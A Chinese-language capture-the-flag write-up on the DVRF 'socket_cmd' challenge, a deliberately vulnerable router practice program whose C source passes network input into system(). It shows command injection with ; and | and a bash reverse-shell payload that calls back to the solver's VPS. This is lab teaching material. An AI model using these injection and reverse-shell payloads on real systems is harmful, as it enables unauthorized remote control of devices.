||作者:h4l0
这次的这道题目是 DVRF 的,程序是 pwnable/ShellCode_Required/ 目录下的 socket_cmd 。题目涉及到了简单的命令注入的绕过。
在 github 下直接查看源码:
https://github.com/praetorian-inc/DVRF/blob/master/Pwnable%20Source/ShellCode_Required/socket_cmd.c
源码如下:
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// Pwnable Socket Program
// By b1ack0wl
// Command Injection
int main(int argc, char **argv[])
{
if (argc <2){
printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);
}
char str[200] = "\0";
char endstr[100] = "\0";
int listen_fd, comm_fd;
int retval = 0;
struct sockaddr_in servaddr;
listen_fd = socket(AF_INET, SOCK_STREAM, 0);
bzero( &servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htons(INADDR_ANY);
servaddr.sin_port = htons(atoi(argv[1]));
printf("Binding to port %d\n", atoi(argv[1]));
retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (retval == -1){
printf("Error Binding to port %d\n", atoi(argv[1]) );
exit(1);}
listen(listen_fd, 2);
comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
while(1)
{
bzero(str, 200);
write(comm_fd, "Send me a string:",17);
read(comm_fd,str,200);
if (!strcasecmp(str, "exit")){
write(comm_fd, "Exiting...");
exit(0);
}
snprintf(endstr, sizeof(endstr), "echo %s", str);
system(endstr);
bzero(endstr, 100);
snprintf(endstr, sizeof(endstr), "You sent me %s", str);
write(comm_fd, endstr, strlen(endstr)+1);
}
}
阅读源码可以知道程序的功能是在本地绑定一个端口进行监听,然后我们用 nc 直接连接上去就行了。
· 这里就相当于路由器在初始化一个 httpd 进程后,绑定了 80 端口,只要我们连接这个端口就可以进行访问。
例如我们这里绑定到本地的 55555 端口,然后再开一个终端连接上去
程序会输出我们的输入的字符串。
看源码发现,程序会使用 snprintf 格式化的输出并直接调用 system 函数,执行 shell 指令。
所以很明显这里存在一个命令执行的注入。这种形式的注入在做 CTF 的 WEB 题中还是可以经常遇到的。
在 IDA 中,也可以很清晰的看到,system 函数直接把 snprintf 函数格式化后到栈上的字符串作为参数来执行命令。
源码的 system 函数是 system("echo %s"); 这样调用的,我们可以使用 | 或者 ; 来达到截断的目的。
例如:system("echo 123;ls") 或者 system("echo 123|ls")
但是在这个命令执行的回显是在服务器端的,我们无法看到回显。所以自然就会想到我们可以通过反弹一个 shell 来 getshell
可以使用 bash -i 来反弹:
bash -i >& /dev/tcp/ip/port 0>&1
但是这里直接使用的话是不起作用的,貌似是空格被截断了啥的。
所以这里我们需要使用bash -c 命令,将 bash -i 的这个命令作为他的参数传进去,即:
123;bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
在 vps 上开启一个监听端口,就可以正常弹回 shell 了
· 原来以为 snprintf 函数存在栈溢出,但是其实只有 sprintf 才会溢出
从这题的源码以及解题思路可以得出,在挖掘 IOT 固件漏洞的过程中,还可以尝试绑定的某个端口的 fuzz 的命令注入,或许会有意想不到的效果。
这题应该还有许多种绕过姿势的,这边就讲到的最简单的两种,使用 | 和 ; 符号进行注入。别的姿势大家可以自行挖掘和尝试。